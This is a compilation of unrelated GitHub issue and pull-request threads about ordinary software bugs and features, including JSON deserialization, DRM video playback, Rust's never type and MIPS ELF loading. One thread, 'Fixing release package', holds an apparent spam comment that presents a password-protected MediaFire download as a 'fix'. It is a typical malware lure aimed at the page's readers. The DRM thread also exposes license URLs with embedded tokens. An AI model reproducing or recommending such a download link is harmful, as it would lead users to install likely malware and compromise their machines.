Use numbers abstract base class

Be compliant with PEP 3141: replace code like isinstance(foo, (int, float)) by isinstance(foo, numbers.Real). This is in particular needed for better SageMath support.

Looks like the tests themselves are failing at a lower level, in the widgets themselves.  We use traitlets to strictly type min and max to int and float, so I think the SageMath numbers are conflicting with that.  You'll either need to implement custom trait types that does the type checking how you propose here and then sprinkle those throughout the widgets, or probably better, open a PR against ipython/traitlets fixing the validation logic of Int and Float accordingly.

Looks like the tests themselves are failing at a lower level, in the widgets themselves

Can you please tell me how to run the testsuite? I have no idea...

I spoke too quickly. How to run the tests is in README.md, not in CONTRIBUTING.md (which I would find more logical).

I think the SageMath numbers are conflicting with that.

Why do you think that? I tested the @interact in SageMath and it works.

Can you please tell me how to run the testsuite? I have no idea...

I spoke too quickly. How to run the tests is in README.md, not in CONTRIBUTING.md (which I would find more logical).

Another way is to peak at how our CI (Travis) does it, defined in  .travis.yml in the repo root.
nosetests --with-coverage --cover-package=ipywidgets ipywidgets runs the Python tests, which were failing.

Why do you think that? I tested the @interact in SageMath and it works.

Awesome, glad it's working.  It was an erroneous conclusion on my part after a quick look at the test output.


Fix fromStringAs

Fix the implementation for fromStringAs to accommodate negative numbers
Write a quickcheck test to prove this
add the simple purescript github action to run test on ci

fixes #14

Thx, great job!


Hi,when i use longpress active the UIMenuController,the avatar in the cell become dark with the cell.how could make the bubble dark only? thanks

New issue checklist

[ ] I have read the README, documentation, and FAQ.
[ ] Contributing guidelines confirmation: ____
[ ] I have searched existing issues and this is not a duplicate.

General information

JSQMessagesViewController version:
iOS version:
Devices/Simulators:
Reproducible in the demo project? (Yes/No):
Any related issues:

What happened?

Hello, at first, this library has depreciated. No longer support, helps and issue tracks. Just we can find from issues, i am using it anyway, searching from all issues and stackoverflow.


add latest Context-based Restrictions features

PR summary

Add ability to query by rule enforcement modes (previously released) and add features needed for Context-based Restrictions rule API types.

feat(Context-based Restrictions): add enforcement_mode query param
feat(Context-based Restrictions): add service ref address location support
feat(Context-based Restrictions): add rule API type support

PR Checklist
Please make sure that your PR fulfills the following requirements:

[x] The commit message follows the Angular Commit Message Guidelines.
[x] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

Current vs new behavior

Does this PR introduce a breaking change?

[ ] Yes
[x] No

Other information

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

:tada: This PR is included in version 0.26.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


JSON deserialization issue starting from 0.3.3

Description
Starting from version 0.3.3, JsonParseNode._assign_field_values throws an attribute error since this value:
https://github.com/microsoft/kiota-serialization-json-python/blob/da130088a3aa4ceac27a3a5543d9936bad92a6ae/kiota_serialization_json/json_parse_node.py#L274
Is expected to be a dict, but is in fact a (non-deserialized) json string.
This will cause issues when using packages that depend on this package to do JSON deserialization. For example, using the mgraph-sdk we may get an error like:
  File "...", line 15, in _get_me
    user = await self.api.me.get()
  File ".../lib/python3.8/site-packages/msgraph/generated/me/me_request_builder.py", line 143, in get
    return await self.request_adapter.send_async(request_info, user.User, error_mapping)
  File ".../lib/python3.8/site-packages/kiota_http/httpx_request_adapter.py", line 122, in send_async
    result = root_node.get_object_value(model_type)
  File ".../lib/python3.8/site-packages/kiota_serialization_json/json_parse_node.py", line 227, in get_object_value
    self._assign_field_values(result)
  File ".../lib/python3.8/site-packages/kiota_serialization_json/json_parse_node.py", line 287, in _assign_field_values
    for key, val in object_dict.items():
AttributeError: 'str' object has no attribute 'items'

This is only an issue in 0.3.3 afaict, downgrading to 0.3.2 seems to solve the issue. My immediate idea is that this might be related to changes in https://github.com/microsoft/kiota-serialization-json-python/commit/0158e77b005076f5adb0a8c0a2ba48807f9364b5?

I was running myself up on this Microsoft tutorial on using Microsoft Graph and ran into the same exact error. _json_node is being treated as a string. Thanks!

I experienced a problem with the same package version, but after making the necessary downgrade to version 0.3.2, the issue was successfully resolved.

Closing as this was resolved


Fixing release package

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


I am on Windows 10, where can I get "Times Not-Rotated 10" ? I have searched on the Internet with no luck.

Closed after setting graph attr to "TD"


Add documentation for webhooks

The Resend documentation requires additional docs on how to use the webhook feature built into Resend for Laravel.
Currently the webhook route is configured to be: /resend/webhook which dispatches Laravel events based on the webhook event received from Resend.

Now available at: https://resend.com/docs/send-with-laravel#4-receiving-webhook-requests


GACD does not launch

what should happen:
double-click GACD
GACD opens
what happens:
double-click GACD
does not open
it says it cant find its icon
take a look:
Traceback (most recent call last):
File "v2.py", line 35, in
File "customtkinter\windows\ctk_tk.py", line 232, in iconbitmap
File "tkinter_init_.py", line 2136, in wm_iconbitmap
_tkinter.TclError: bitmap "assets/gacd.ico" not defined

Sorry didnt notice this well that's embarassing. donwload this and extract it into the same directory as the .exe I'll
upload a fix later today assets.zip
sorry for the really late anwser


Allow organizations to set thresholds for both "low inventory alert" and "capacity targets"

Summary
Ref #1168 - there might have also been a separate issue or discussion about this, as well.
We want Diaperbanks to be able to optionally set 2 values for each individual Item.

A quantity (default 0) that, when their on-hand totals hit that number, they can be alerted that they need to acquire more
A quantity (default nil) that is their desired on-hand amount. This would be used for them to generate need-reports when doing diaper drives or requesting donations from third-party sources

This issue is only about setting and storing the values, we're not doing any alerting or reporting yet.
Criteria for Completion

[ ] Anyone in the organization can read (see displayed) these values
[ ] Organization Admins can set / change these values
[ ] Item needs 2 columns added to track these quantities
[ ] Add fields to Items#show to set these values
[ ] A feature spec that confirms the values can be written and read

@GabrielRMuller What's the status on this? If you've not gotten to it, that's fine, just un-assign yourself so someone else can grab it. Thanks!

I'm working on it, hoping to have a PR open today!


Restore consistency of hook_normalized between LayerNorm and RMSNorm

Description
This PR intends to fix issue #747. hook_normalized is applied after the gain and bias weights are used in layer_norm.py, whereas in rms_norm.py it's before. This inconsistency was fixed by moving hook_normalized before the gain and bias weights in layer_norm.py. According to @neelnanda-io this will be a breaking change, which after @bryce13950 could be worked into release 3.0. I figured since there was already so much guidance as to how to go about the change in the issue itself and since the actual change was so small, I would just go ahead and do it. I would greatly appreciate some guidance about whether or not I should add tests for this, since I am new to mech Interp and this library and wouldn't know how to go about that.
Thanks for maintaining this library!
Fixes # (issue) #747
Type of change

[x] Breaking change (fix or feature that would cause existing functionality to not work as expected)

Checklist:

[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[x] I have not rewritten tests relating to key interfaces which would affect backward compatibility

Thanks for putting this together! This is going to sit open for a while until we start testing some changes on 3.0. When we are ready to do that, I will get it merged right away!


Fix/cr audit logs

Thanks for submitting a PR! Please check the boxes below:

[ ] I have run pre-commit to check linting
[ ] I have filled in the "Changes" section below?
[ ] I have filled in the "How did you test this code" section below?
[ ] I have used a Conventional Commit title for this Pull Request

Changes
Please describe.
How did you test this code?

Please describe.

Codecov Report
Patch coverage: 93.33% and no project coverage change.

Comparison is base (a111976) 95.43% compared to head (0d48100) 95.43%.
Report is 6 commits behind head on main.

Additional details and impacted files
@@           Coverage Diff           @@
##             main    #2527   +/-   ##
=======================================
  Coverage   95.43%   95.43%
=======================================
  Files         965      966    +1
  Lines       27136    27145    +9
=======================================
+ Hits        25897    25906    +9
  Misses       1239     1239

Files Changed
Coverage Δ

api/features/workflows/core/models.py
95.27% <50.00%> (-0.76%)
:arrow_down:

api/audit/constants.py
100.00% <100.00%> (ø)

api/features/models.py
93.58% <100.00%> (+0.32%)
:arrow_up:

...i/tests/unit/features/test_unit_features_models.py
100.00% <100.00%> (ø)

... and 1 file with indirect coverage changes

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


CNV PerformSegmentation: tag doc, note R requirement and give example commands

Pending questions:

Is the R and R component requirement still the case?
Does the script at https://github.com/broadinstitute/gatk-protected/blob/master/scripts/install_R_packages.R
still apply?

Default parameters that should be changed (and the corresponding integration test results):
--log2Input WES/WGS=true default=false
--undoSD default=3 WES=2 WGS=3

@sooheelee Yes and yes.

Thanks. I fixed a typo and this should be ready if @achevali says all is good.

I think no need for further review. I will just merge. We will be going over all these docs again in the near future.


Add 'GraphicsObjectDespawned/Removed' Alongside 'GraphicsObjectCreated'

Is your feature request related to a problem? Please describe.
Add 'GraphicsObjectDespawned' or some form of removal alongside the 'GraphicsObjectCreated'. This would be useful to use events to loop the event rather than scan for graphic objects each render.

Is this resolved by d595cde3908db318aadfda40dc8d79cc0dea46fa?

It might be exactly what this request is as it's not event related.. but.. I guess it might have some function, lol.
Still requires you to iterate through all Graphics.. if we're using a finished state variable. (If I understand that addition correctly.)


Aggretation function not working with subquery if the subquery has a WHERE clause

Bug report
System info: InfluxDB 1.2.2, Windows 10.
Steps to reproduce:

Use NOAA_data sample data like in docs.
Perform a query with a WHERE clause and a function. In my case:

> SELECT "elapsed" FROM (SELECT ELAPSED("water_level", 20m) FROM h2o_feet WHERE "water_level" > 9.5) WHERE "elapsed" > 40
name: h2o_feet
time                 elapsed
----                 -------
2015-08-29T06:30:00Z 70
2015-08-30T07:42:00Z 69
2015-08-31T09:00:00Z 71
2015-09-01T22:00:00Z 69
2015-09-02T22:42:00Z 69
2015-09-03T23:30:00Z 69

I.e. rougly "amount of time between water levels that are above 9.5 feet".
3. Now try to get the sum of those values using subquerying:
> SELECT SUM("elapsed") FROM (SELECT "elapsed" FROM (SELECT ELAPSED("water_level", 20m) FROM h2o_feet WHERE "water_level" > 9.5) WHERE "elapsed" > 40)
>

Expected behavior:
time			sum
1970-01-01T00:00:00Z	417

Actual behavior:
No results at all.
Additional info:
If you remove WHERE "elapsed" > 40 from the query in step 3, a sum is calculated correctly.

This will be fixed by #8081.


live+drm - player doesn't start to play

What version of Shaka Player are you using? v2.0.5-debug

Can you reproduce the issue with our latest release version?
yes

Are you using the demo app or your own custom app? app demo

What browser and OS are you using? chrome 55/6 on both WIn 8.1 and macOS Sierra 10.12

What did you do?

Load https://shaka-player-demo.appspot.com/demo/?asset=https://klive-a.akamaihd.net/dc-1/live/edash/p/1804331/e/1_1h4m0b66/t/r1LIk_dFcJnVrhH113ndYQ/manifest.mpd;license=https://udrm.kaltura.com/cenc/widevine/license?custom_data=eyJjYV9zeXN0ZW0iOiJPVlAiLCJ1c2VyX3Rva2VuIjoiZGpKOE1UZ3dORE16TVh3cW5ZLUkyQWl5dktxUl9QVkh2RVlmdmUzTERzM2RQaE1VRjNzdG9MT2w1bzFkekNiUFAzUnNDNDFIUVNUQVBBOEtKTXFfNEVRem9IbGFkYlIybktONDVzb2FCM2sxX0MwRFo4YnNKeWNKbFE9PSIsImFjY291bnRfaWQiOiIxODA0MzMxIiwiY29udGVudF9pZCI6IjFfMWg0bTBiNjYiLCJmaWxlcyI6IjFfamJiOGpsOWwsMV8wOG0zOWhreSwxX21yamdpMmxyLDFfYm55eWh1anIifQ%3D%3D&signature=W1Fw0W19%2FTPwJUVxrJ4t6%2BEE5IU%3D;v

What did you expect to happen?
playback should start

What actually happened?
shaka downloads many manifest.mpd files and the buffer is filled but the player does not play.
playback starts only after ~2.5 min.

This is a sporadic issue, sometimes it works ok.
attached network and console logs and screenshot
Thanks,
Yair

console-log.txt
network-log.txt  (change to .har extension after download to able opening in charles)

It looks like the player is downloading segments that are close to the playhead initially.  If the media segments have a start time that is slightly more than what is in the manifest, then the buffer will start after the playhead and the video won't start to play.  This shouldn't happen.
Unfortunately your URL doesn't work, the license server is giving me a 403 error (error while getting entitlement).

@TheModMaker here's a new one for this media: https://udrm.kaltura.com/cenc/widevine/license?custom_data=eyJjYV9zeXN0ZW0iOiJPVlAiLCJ1c2VyX3Rva2VuIjoiZGpKOE1UZ3dORE16TVh4NmdVUHVLS0pVWEpGZk9TNzAxNnRJRVprNDhLU0g3dVJzQkVROWVVS1RRTzIxU3lidDNrc0RxTFRBNG1OR3JQcG1faFFtbDFYblZMWjhvRF9qMjEySGVCSm1Wa1ZLQ1FBSDFvdXNWN3paRWc9PSIsImFjY291bnRfaWQiOiIxODA0MzMxIiwiY29udGVudF9pZCI6IjFfMWg0bTBiNjYiLCJmaWxlcyI6IjFfamJiOGpsOWwsMV8wOG0zOWhreSwxX21yamdpMmxyLDFfYm55eWh1anIifQ%3D%3D&signature=Y%2BOpyr6Jj1tRwr9mquqWf70GzZk%3D&

This only affects Chrome stable (56), this has been fixed in beta (57) and doesn't appear in Firefox.
The problem is that your license server sometimes takes a really long time to respond (20+ seconds).  Chrome doesn't seem to flush the media pipeline after updating EME if it takes longer than a few seconds.  But this has been fixed by Chrome.

@TheModMaker
Thanks a lot

Chrome 57 is the new stable release.  You should have the fix now.  If not, please let us know.


It doesn't recognize the non-US date format

Hello!
Great tool! Thanks.
Recently Inoticed that it doesn't recognise a date any longer?! Potentialy beasue the bank has changed the way they export CSV. My date format is DD/MM/YYYY - the program says that the date is invalid.
Can you make a date format selection on the screen as well?
Thank you in advance!

+1

Also experiencing this issue!

+1

+1

Ditto.

Also it would be great to choose delimiter (, or ;) - now I have a problem with importing because i have a commas in Memo field

:+1:

+1


wrong usage of chrome.storage.local

debug sets the storage to chrome.storage.local if present, but then assumes that it can read it via .debug, which is incorrect.
It should be .get('debug', cb)

@andreineculau can you put in a pull request?

Closing as it's stale and I haven't seen problems with it get reported lately. Please let me know if this is not the case.


[System Monitor] ...

Extension
https://www.raycast.com/hossammourad/raycast-system-monitor
Description
Add GPU string
Who will benefit from this feature?
No response
Anything else?
No response

@uigywnkiub could you give us more context?

@uigywnkiub could you give us more context?

Add GPU monitoring into this

@uigywnkiub I'm really sorry, but I'm afraid I still didn't get you. Do you have any example?

@uigywnkiub I'm really sorry, but I'm afraid I still didn't get you. Do you have any example?

Add a GPU tab to show all the characteristics of the video card, as it is with the CPU. I don't know how else to explain it.

I'd like to have that too! A dedicated tab for GPU to see how much of it CrossOver / Ollama might be using.

@uigywnkiub could you update the title of the issue so that it says something like "[System Monitor] add tab for GPU usage" instead of "[System Monitor] ..."


Add random suffix when make volumn from secret

Fix issue #1979
To avoid same volume name when length of secret name is too big(more than 63)
Fix the incorrect message mentioned in that issue.

Changes

Submitter Checklist
These are the criteria that every PR should meet, please check them off as you
review them:

[ ] Includes tests (if functionality changed/added)
[ ] Includes docs (if user facing)
[ ] Commit messages follow commit message best practices

See the contribution guide for more details.
Double check this list of stuff that's easy to miss:

If you are adding a new binary/image to the cmd dir, please update
the release Task to build and release this image.

Reviewer Notes
If API changes are included, additive changes must be approved by at least two OWNERS and backwards incompatible changes must be approved by more than 50% of the OWNERS, and they must first be added in a backwards compatible way.
Release Notes
Describe any user facing changes here, or delete this block.

Examples of user facing changes:
- API changes
- Bug fixes
- Any changes in behavior

/assign @afrittoli


Enable tables without headers

Ruby's kramdown allows for creating tables without headers, I think Python's markdown should not be worse.
I know that this might not be a part of the standard, but I also think that this is a very useful feature (I need it and I don't want to switch from Pelican to Jekyll just for that).
Please let me know if the code quality is not good enough, I will do my best to improve it.

Thanks for the submission. However I will not be merging this pull request. Please see my response to issue #74 for a full explanation. As you appear to have a working extension, you are free to fork it as long as you conform to the license. You could even release it as a third party extension and list it on the wiki for others to find.


Can't Parse when variable in the fraction (1/y or 1/x)

algebra.parse('(1)/(y)=3')
throw an error
Invalid Argument (y): Divisor must be of type Integer or Fraction.

Currently a feature that is not supported, looking into how it would be possible

Hi, I am also facing similar issue,  is there any other way to solve this? please advice

Having the same issue here.

Same here. This really needs to be added.

I have this implemented to a certain extent and I'm actively working on it.  Check it out here: https://github.com/yodadude2003/algebra.js


Allow passing local_cache_dir to CloudPath init

In order to use a persistent local cache dir, we have to pass a Client instance:
ladi = CloudPath(
   "s3://ladi/Images/FEMA_CAP/2020/70349",
   S3Client(local_cache_dir="data")
)

This works ok, but has two limitations:

You have to know to import and instantiate a Client, whereas most of our core functionality is available without having to think about the client at all, which is nice.
You have to know what Client you want ahead of time since there is no generic Client

Ideally, we'd have a happy path that could be used like this:
ladi = CloudPath(
   "s3://ladi/Images/FEMA_CAP/2020/70349",
   local_cache_dir="data"
)

In think with this discussion and the implementations discussed in #10 this can be closed as won't fix.


chore: Replace mtls-ambassador with mender-gateway and refresh the docs

Replaced references to mtls-ambassador with mender-gateway
Replaced environment configuration variablese in eval/prod installation guides.
Updated and simplified the mtls diagram

Depends on https://github.com/mendersoftware/mender-gateway/pull/152

Thanks!
I have a pairing session with @oldgiova  Monday at 1500 on exactly this.
Will render there docs and use them for the test.

Can I please get a review here? This PR has been stale for 2 weeks.

@TheMeaningfulEngineer I found the issues:

The port was missing in the client config, so I exposed it as an env variable in the prerequisite chapter.
The root certificate was setup with incorrect parameters so the mender-gateway refused to use it for certificate validation.
Was this certificate setup working for the mtls-ambassador? I tried to compare the way the certificates are loaded between the two services and they seem to be identical.

@alfrunes
Thanks I'll give it for anther go.
It did work for the mtls it was originally.
I've used it for a reference to set up a device - mtls - HM whenever I needed to reproduce customers issues that had mtls in the setup.


NoClassDefFoundError kotlin/jvm/internal/Intrinsics

This error occurs in the latest version.
My project is in Java, not Kotlin.
java.lang.NoClassDefFoundError: Failed resolution of: Lkotlin/jvm/internal/Intrinsics;         at com.sucho.placepicker.PlacePicker$IntentBuilder.build(Unknown Source:2)

Got it working by including Kotlin into my project. Sorry ;)


Replace Never with !

Recently, [features(never_type)] is stabilized in rustc master branch. PR Link
And I remember that Never type in futures is a temporary replacement for !. Now ! type is stabilized and shall we proceed to replace Never with !?

Unfortunately this would also bump up the version of Rust required to use futures, so we probably won't make this change right away.

Isn't that OK to do on a breaking release?

@carllerche My concern is not so much about breakage as that (1) futures is intended to be a foundational library and (2) this change doesn't buy us very much. I'd prefer not to impose stronger requirements on rustc versions unless there's a clear need for it.

As a counterpoint, futures is a library with a lot of visibility and lots of people will be looking at it as an example of library design in Rust, and so it could be a good idea to use it to showcase idiomatic Rust, which I'd expect to include shedding old baggage when the language offers a proper route to take to avoid old hacks. In other words, when people ask, "Why would you need the never type?" you can point to a high-profile real-world example here in futures.

Agree, futures should be not only a foundational library for asynchronous programming but also a showcase of rust syntax. And futures 0.2 has room for improvements toward 1.0 IMO, so we should not constrain it on outdated things before 1.0 release.
As a compromise proposal, we can let futures 0.3 get ! instead of Never and make Never as an optional feature.

The stabilized feature isn't released yet afaict, and it will probably take some weeks until 1.0.26.
Apart from that I disagree with the "don't want to use latest stable features because it would bump the required Rust version" (although I'd very much like to see https://github.com/rust-lang/cargo/issues/2751; if a "non-breaking" crate update suddenly requires a new rust version you'll have a very bad time finding working crate versions on older rustc).  Also I'm pretty sure over the year there will be a lot of features in rust that futures will want to use ASAP.
But if you really want to go that way, please note that the current Never type cannot be replaced by ! without breakage.  See https://github.com/stbuehler/futures-rs/commit/hide-never-impl-for-std-never-alias for a possible patch.
And afaict it will be impossible to replace without breakage if crates (like this one) use things like #[deny(unreachable_code)] - my conclusion is that it is very bad style to make such warning an error in a non-developer build.

And afaict it will be impossible to replace without breakage if crates (like this one) use things like #[deny(unreachable_code)]

Luckily cargo disables the ability for dependencies to deny lints, so even if futures has #[deny(unreachable_code)], that will become #[warn(unreachable_code)] when compiling an application that depends on futures.

This should have the same resolution as https://github.com/rust-lang/rust/pull/49039. (It doesn't seem to be decided yet)


Fix minor typo in "Made with heart by your pals @@twilio."

Fix minor typo in "Made with heart by your pals @@twilio." <-- Remove the extra "@"

Created PR https://github.com/twilio/starter-java/pull/9


Support StableLM

I'm curious if you guys will provide StableLM capability on the web-llm? It would be really great if so.

I didn't try the 3b yet, but if the result are not too bad it could maybe be a solution for the people who not have enough memory.

it seems interesting to get StableLM in, but it's not at the top priority among the models we are going to support. Our next model to support is Dolly, and we will discuss whether to support StableLM after that.

it seems interesting to get StableLM in, but it's not at the top priority among the models we are going to support. Our next model to support is Dolly, and we will discuss whether to support StableLM after that.

Can share the whole process from scratch of how to convert Dolly modle origin file to webllm, then we can convert stablelm and others by self?

it seems interesting to get StableLM in, but it's not at the top priority among the models we are going to support. Our next model to support is Dolly, and we will discuss whether to support StableLM after that.

Can share the whole process from scratch of how to convert Dolly modle origin file to webllm, then we can convert stablelm and others by self?

I think this is the usual approach for the opensource environment. Supporting model by your team one by one without any instruction sounds like this repository is not for open source. For now, I will move on.

Thank you for discussions and interest. We are in the process of bringing in new models, and with them also have open recipes in the PRs so people can try to bring up and contribute new models to the repo. We can see there are PRs for dolly and chatglm which could serve as a reference. You are more than welcome to open PRs for StableLM as well

Considering StableVicuna's release, i'd be greatly appreciated if the 13b model was supported. Your software runs swimmingly on Intel Arc and it's one of the few repos that actually can utilize it in this manner.


support masking for ConvLSTM2D

There raises an error when utilizing mask in layer ConvLSTM2D(x, mask), which is caused by the assumption that mask.ndim == x.ndim - 1  in function K.rnn().
Since both tf.select(cond, a, b) and T.switch(cond, a, b) support cond.shape to be compatible with a.shape, we have to apply expand_dims for mask several times in backend and don't have to utilize tf.tile for mask in tensorflow.backend.

The shape of input in ConvLSTM2D should be (sample, time-step, channel, width, height), while the shape of mask should be (sample, time-step). In fact, I didn't utilize the Masking layer , which would compute a tensor of shape (sample, time-step, channel, width). It's weird and we input the mask manually instead. I think the implementation of Masking layer should also be changed.

Excuse me , I am doing the masking with ConvLSTM and got the value error ValueError: Shape must be rank 4 but is rank 2 for 'lstm1/while/Tile' (op: 'Tile') with input shapes: [?,16,16,1], [2]. How can I fix it?


HDF5 error processing mseeds

When running the mseed preprocessor, i.e.:
preprocessor(mseed_dir='mseed/msd', stations_json='station_list.json', overlap=0.3, n_processor=40) I get the following error:

Traceback (most recent call last):
File "3_preprocess_mseed.py", line 4, in
overlap=0.3, n_processor=40)
File "/home/shicks17/anaconda3/envs/eqt/lib/python3.7/site-packages/EQTransformer/utils/hdf5_maker.py", line 398, in preprocessor
p.map(process, station_list)
File "/home/shicks17/anaconda3/envs/eqt/lib/python3.7/multiprocessing/pool.py", line 268, in map
return self._map_async(func, iterable, mapstar, chunksize).get()
File "/home/shicks17/anaconda3/envs/eqt/lib/python3.7/multiprocessing/pool.py", line 657, in get
raise self._value
File "/home/shicks17/anaconda3/envs/eqt/lib/python3.7/multiprocessing/pool.py", line 121, in worker
result = (True, func(*args, **kwds))
File "/home/shicks17/anaconda3/envs/eqt/lib/python3.7/multiprocessing/pool.py", line 44, in mapstar
return list(map(*args))
File "/home/shicks17/anaconda3/envs/eqt/lib/python3.7/site-packages/EQTransformer/utils/hdf5_maker.py", line 96, in process
HDF.create_group("data")
File "/home/shicks17/anaconda3/envs/eqt/lib/python3.7/site-packages/h5py/_hl/group.py", line 68, in create_group
gid = h5g.create(self.id, name, lcpl=lcpl, gcpl=gcpl)
File "h5py/_objects.pyx", line 54, in h5py._objects.with_phil.wrapper
File "h5py/_objects.pyx", line 55, in h5py._objects.with_phil.wrapper
File "h5py/h5g.pyx", line 161, in h5py.h5g.create
ValueError: Unable to create group (name already exists)
HDF5: infinite loop closing library
L,T_top,P,P,Z,FD,PL,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E,E

I have tried running both the conda and compile-from-source versions of eqt, but that doesn't solve the error. I am running h5py=2.10.0

Fixed - due to data archive conventions.


Support MIPS-specific section index values

Adds support for MIPS-specific SHN_MIPS_TEXT and SHN_MIPS_DATA elf section index processing. Spot checked this with a normal executable and a shared object that uses these indexes, and symbols that were previously ignored are now being correctly applied. The full test suite was run and there were no failures that appeared to be associated with this change.

Your implementation may be over-simplified and does not appear to account for the actual .text/.data section load addresses which in some cases may be assigned at time of import.  Do you have a binary you can share so we can evaluate?
Additionally I would like to do this in a more extensible fashion as we like to avoid placing processor specific code in the ElfProgramBuilder and other generic Elf classes.   If have a MIPS_ElfExtension solution in mind, but I prefer to verify against a sample before pushing out.

This makes complete sense. I had missed the loader extensions when determining where to make the change, just followed the error message that the UI produced. I unfortunately can't find a sample that I can share. Do you have a potential patch you can share that I can test on my end?

One thing I am trying to sort out is your inclusion of EM_MIPS_RS3_LE and EM_MIPS_X.  I would like to understand your motive for this and how much these have in common with EM_MIPS relative to ELF processing.  It would appear that binutils really does not support these two machine types.   I would like to handle your change within the MIPS extension which currently only handles EM_MIPS.
Questions about your specific binary:

What is your specific machine ID?
Which MIPS language ID are you using?
Does your binary contain relocations?

I'd just thrown those other two MIPS machine types in as a catch-all during development, but it looks like the specific machine type I'm looking at is EM_MIPS, so I think it would be fine to limit this change to EM_MIPS and handle it in the extension. I'm looking at binaries for a *nix-like OS, so it has both normal executable ELF and relocatable shared objects. The proposed changes do appear to handle relocations for shared objects, but that was admittedly a WAG on my part (lines 1366-1367 seemed to do the trick but may not be the right approach for adjusting symbols in all cases).

MIPS_EM
MIPS 64-32addr, big endian, default compiler
Yes (shared objects)

Here is patch which can be applied to the master branch at commit 4041c63
patch_ElfMips_4041c36.txt
I found an old IRIX sample which allowed me to exercise three SHN MIPS-specific values.  I took your approach for now since the symbol values need only be adjusted by any change in the image base.  Let me know what you think.
In my sample binary I noticed that the external dynamic symbols were not handled well.  Not sure I have the time to chase that right now.

@ghidra1 try putting the original bytes back into the relocations. The only other time I've seen it is with PS2 games. I'm assuming they are pre linked and the relocation metadata is just leftover or something.
It is also where I have seen the 0xff01 and 0xff02 relocations but they are sce specific relocations. (Double checking this)

@ghidra1 try putting the original bytes back into the relocations. This is just a guess as the only other time I've seen it is with PS2 games. I'm assuming they are pre linked and the relocation metadata is just leftover or something.

It does appear to be prelinked.  It had a different symbol placement and .got implementation than I have previously seen for MIPS (no PLT and no relocations).
I was experimenting with jcapt binary I found in a IRIX 6.2 archive.

Tested it out, and the patch works for my use case. How do you want to handle the fix? Should I just kill this PR and create an issue for SHN_MIPS_* handling that you can use to track the patch?
I do see the issue with the dynamic symbols, but I don't think it's as big of an impact to me since the thunks seem to be labeled properly.

I will close this PR.  The fix can go in without creating an issue.

Thanks! Y'all rock.

Change has been merged into master branch


Added conditional behaviour for vectornav launch

vectornav is only included when control_mode is set as arm_mission, science_mission, or autonomy_mission

closes #117

closes #117


Allow message to be case insensitive

I think you should have executed tests via ./vendor/bin/phpunit
After you made composer dufmp-autoload so the trait could be found.
THanks!


Skunk service account

⚠ ⚠ ⚠ ⚠ ⚠ ⚠
Skunkworks
⚠ ⚠ ⚠ ⚠ ⚠ ⚠
Experiment: Not for review
On hold till SDK is updated in #2394
Based on: https://github.com/mongodb/atlas-sdk-go/pull/229/files#diff-825315d2cd89e6b839f1ccf624af7a6e0aa2cb4aac68e46da2d45d8641020506

Closing as outdated. We will revise this later.


Feat: update method logic and add tests

This PR introduces changes to improve the functionality of assert_frame_equal:

Added support for ignoring row order in DataFrame comparison using a new parameter ignore_row_order, which defaults to True.
Updated docstrings to reflect the new functionality and improve clarity.

Welcome to Codecov :tada:
Once you merge this PR into your default branch, you're all set! Codecov will compare coverage reports and display results in all future pull requests.
:information_source: You can also turn on project coverage checks and project coverage reporting on Pull Request comment
Thanks for integrating Codecov - We've got you covered :open_umbrella:

Merging. Thanks for implementing these changes!


Recommendation for skeleton problem

Hi,
I want to build a system similar to https://blog.unity.com/technology/mecanim-humanoids.
Inputs:

3d Mesh data of the vertices
3d Mesh data loop edge length of the mesh for the waist for example
3d Mesh data vertex weighting
skeleton bone
skeleton bone names
skeleton bone parentage
skeleton bone transforms

Outputs:

match an existing skeleton bone by slot aka "Recommend a skeleton slot."

Would this system be a good match?

I am afraid that the skeleton problem can't be handled by a traditional recommender system. In normal recommender system, users don't have restrictions on recommended items or users only have simple queries.     In the skeleton problem, 3D mesh data is hard to be utilized.

Thanks.


[WIP] Remove cpu total from chargeback report

because there are added MHz s and counts of cpu cores together.
CPU total cost make sense.
I introduced here https://github.com/ManageIQ/manageiq/pull/12829/commits/b31330a8ba36fda8c2cfb2158d1fe525975534e2 exluding of columns from reports but we can revert it a remove by migration if future.
@miq-bot add_label chargeback, reporting, bug
@miq-bot assign @gtanzillo

closing , replaced by @isimluk's PRs: https://github.com/ManageIQ/manageiq/pull/15261 and https://github.com/ManageIQ/manageiq/pull/15260

Oh, I thought I have seen that idea before. Sorry for the hijack bro. 🍔


Publish only major.minor version documentation (not patch versions)

Type of change requested

[x] Improvement Request (change an existing part of the project)
[ ] Enhancement Request (add something new to the project)
[x] Other

What you would like to see changed
Only publish documentation at the major.minor level (e.g. 2.5 or 3.0) and not at the patch (micro) level (e.g. 2.4.2).  Redirect calls for a patch version to display the parent major.minor version instead.
Why you would like to see this changed
Simplify maintenance by not having to maintain each patch version separately.  Also reduce required disk space on the server.
Additional context
The current major.minor release documentation would need to be updated to the latest patch version for the release before removing the patch versions.
There are a few different ways that this could proceed:

Update the major.minor documentation to the latest associated patch version and remove the patch versions.  Redirect all calls for patch versions to display the parent major.minor version.  Only publish and retain major.minor versions.

Keep existing patch versions.  Only publish and retain major.minor versions in the future.

Continue the current practice of publishing and retaining all major.minor and patch versions, and discard this change request.

There has been some initial discussion about this on IRC between outsidecontext and rdswift:

<rdswift> No rush whatsoever, but when you have a chance can you please look at https://github.com/rdswift/picard-docs/wiki/Publishing-Logic and https://github.com/rdswift/picard-docs/wiki/Repository-Structure to see if they make sense and are useful?  I'm also thinking of putting together some notes regarding preferences in the RST files (like using in-line :index: entries rather than index directives because the in-line entries are added to the language translation catalogs).  Thanks.
